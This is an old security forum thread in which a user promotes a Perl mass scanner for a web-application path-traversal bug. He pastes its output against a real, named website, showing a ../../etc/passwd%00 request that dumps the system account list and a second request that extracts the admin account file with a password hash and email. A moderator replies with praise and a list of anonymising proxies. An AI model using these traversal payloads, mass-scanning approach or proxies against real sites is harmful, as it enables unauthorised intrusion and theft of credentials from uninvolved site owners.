Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 81
Members: 0
Total: 81
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Perl -> WebAPP newest bug mass scanner
Post new topicReply to topic View previous topic :: View next topic
WebAPP newest bug mass scanner
PostPosted: Wed Sep 01, 2004 7:19 am Reply with quote
bima
Regular user
Regular user
Joined: Jun 14, 2004
Posts: 16
Location: dunia fana




ok, let me introduce my new script :
WebAPP newest bug mass scanner

it wrote in perl.

ucan see it at
http://www.neoteker.or.id/modules.php?op=modload&name=News&file=article&sid=130&mode=thread&order=0&thold=0
or
http://www.geocities.com/iko94/tools/webapp_google_donlod.pl.txt

see the snip output :
Quote:

64.http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../../
../../../../etc/passwd%00
Processing oi http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat
=../../../../../../../etc/passwd%00.....
Proses GET sedang berlangsung...
http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../../../.
./../../etc/passwd%00 Success
200 OK could be Success
sukses donlod exp1 ...
found = 47" shape="rect" coords="267, 62, 350, 79 :::
found = 52" shape="rect" coords="349, 62, 433, 79 :::
found = 68" shape="rect" coords="432, 62, 516, 79 :::
found = 47" class="menu :::
found = 52" class="menu :::
found = 68" class="menu :::
found = root:*:0:0:Charlie &:/root:/bin/csh :::
found = daemon:*:1:1:daemon:/root:/sbin/nologin :::
found = operator:*:2:5:operator:/:/sbin/nologin :::
found = bin:*:3:7:bin:/:/sbin/nologin :::
found = tty:*:4:65533:tty:/:/sbin/nologin :::
found = kmem:*:5:65533:kmem:/:/sbin/nologin :::
found = games:*:7:13:games:/usr/games:/sbin/nologin :::
found = news:*:8:8:news:/:/sbin/nologin :::
found = man:*:9:9:man:/usr/share/man:/sbin/nologin :::
found = sshd:*:22:22:sshd:/var/empty:/sbin/nologin :::
found = smmsp:*:25:25:smmsp:/var/spool/clientmqueue:/sbin/nologin :::
found = mailnull:*:26:26:mailnull:/var/spool/mqueue:/sbin/nologin :::
found = bind:*:53:53:bind:/:/sbin/nologin :::
found = cyrus:*:60:60:cyrus:/nonexistant:/sbin/nologin :::
found = uucp:*:66:66:uucp:/var/spool/uucppublic:/usr/libexec/uucp/uucico :::
found = xten:*:67:67:xten:/usr/local/xten:/sbin/nologin :::
found = www:*:80:80:www:/nonexistant:/sbin/nologin :::
found = mysql:*:88:88:mysql:/var/db/mysql:/sbin/nologin :::
found = postfix:*:90:90:postfix:/var/spool/postfix:/sbin/nologin :::
found = clamav:*:93:2001:clamav:/dev/null:/sbin/nologin :::
found = powweb:*:100:100:powweb:/powweb:/usr/local/bin/bash :::
found = james:*:101:0:james:/usr/home/james:/usr/local/bin/bash :::
found = andrew:*:102:0:andrew:/usr/home/andrew:/usr/local/bin/bash :::
found = steven:*:103:0:steven:/usr/home/steven:/usr/local/bin/bash :::
found = winnie:*:104:100:winnie:/usr/home/winnie:/usr/local/bin/bash :::
found = 47 :::
found = 52 :::
found = 68 :::


Processing oi http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat
=../../db/members/admin.dat%00.....
Proses GET sedang berlangsung...
http://www.thanhtan.com/cgi-bin/vn/index.cgi?action=topics&viewcat=../../db/memb
ers/admin.dat%00 Success
200 OK could be Success
sukses donlod exp2 ...
found = 47" shape="rect" coords="267, 62, 350, 79 :::
found = 52" shape="rect" coords="349, 62, 433, 79 :::
found = 68" shape="rect" coords="432, 62, 516, 79 :::
found = 47" class="menu :::
found = 52" class="menu :::
found = 68" class="menu :::
found = adniqN/bZkSVw :::
found = Admin :::
found = contact@thanhtan.com :::
found = http://www.thanhtan.com/ :::
found = My generic signature&& :::
found = 5 :::
found = Administrator :::
found = _nopic.gif :::
found = forever :::
found = 38 :::
found = 0 :::
found = standard :::
found = 47 :::
found = 52 :::
found = 68 :::



* No Warranty. This tutorial is for educational use only,
* commercial use is prohibited.

Laughing Laughing Laughing Laughing Laughing
View user's profile Send private message Visit poster's website
PostPosted: Wed Sep 01, 2004 3:25 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




good work men bima


High anonymity proxy


Code:
210.5.71.242 8080 High anonymity Philippines
61.221.30.167 3128 High anonymity Taiwan,
211.79.149.111 80 High anonymity Taiwan,
210.5.71.242 80 High anonymity Philippines
210.22.7.194 80 High anonymity China
210.21.203.226 80 High anonymity China
202.111.154.51 80 High anonymity China
202.108.228.102 8080 High anonymity China
211.146.112.138 3128 High anonymity China
61.247.233.197 6588 High anonymity India
218.28.9.212 8080 Anonymous China
218.57.143.253 80 Anonymous China
81.3.20.97 8080 Anonymous Germany
212.29.32.67 80 High anonymity Germany
218.188.8.182 80 Anonymous Hong Kong
65.102.221.45 80 High anonymity United States
24.95.134.142 80 Anonymous United States
216.82.73.17 80 High anonymity United States
201.134.72.44 80 High anonymity United States
208.253.249.93 80 Anonymous United States
ceatl2.public.lib.ga.us 8080 High anonymity United States
24.12.45.80 8080 High anonymity United States
24.16.105.133 8080 High anonymity United States
151.202.154.243 8080 High anonymity United States
200.62.146.126 8080 High anonymity United States
68.53.226.72 8080 High anonymity United States
212.213.70.4 80 High anonymity Finland
81.255.25.241 3128 High anonymity France
217.172.70.182 3128 High anonymity Spain
210.172.146.52 80 High anonymity Japan
222.83.179.250 8080 Anonymous China
81.196.12.46 80 High anonymity Romania
202.129.0.14 8080 High anonymity Thailand
203.150.225.117 3128 High anonymity Thailand
219.137.154.119 8080 Anonymous China Tue Aug
200.74.139.5 8080 Transparent undefined
220.195.161.236 8080 Anonymous China
64.66.106.150 8000 Anonymous United States
61.182.39.219 8080 Anonymous China
168.210.132.34 8080 Anonymous United States
View user's profile Send private message Visit poster's website
okay
PostPosted: Thu Sep 02, 2004 1:31 am Reply with quote
bima
Regular user
Regular user
Joined: Jun 14, 2004
Posts: 16
Location: dunia fana




thanx bro...

Smile
View user's profile Send private message Visit poster's website
WebAPP newest bug mass scanner
www.waraxe.us Forum Index -> Perl
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.097 Seconds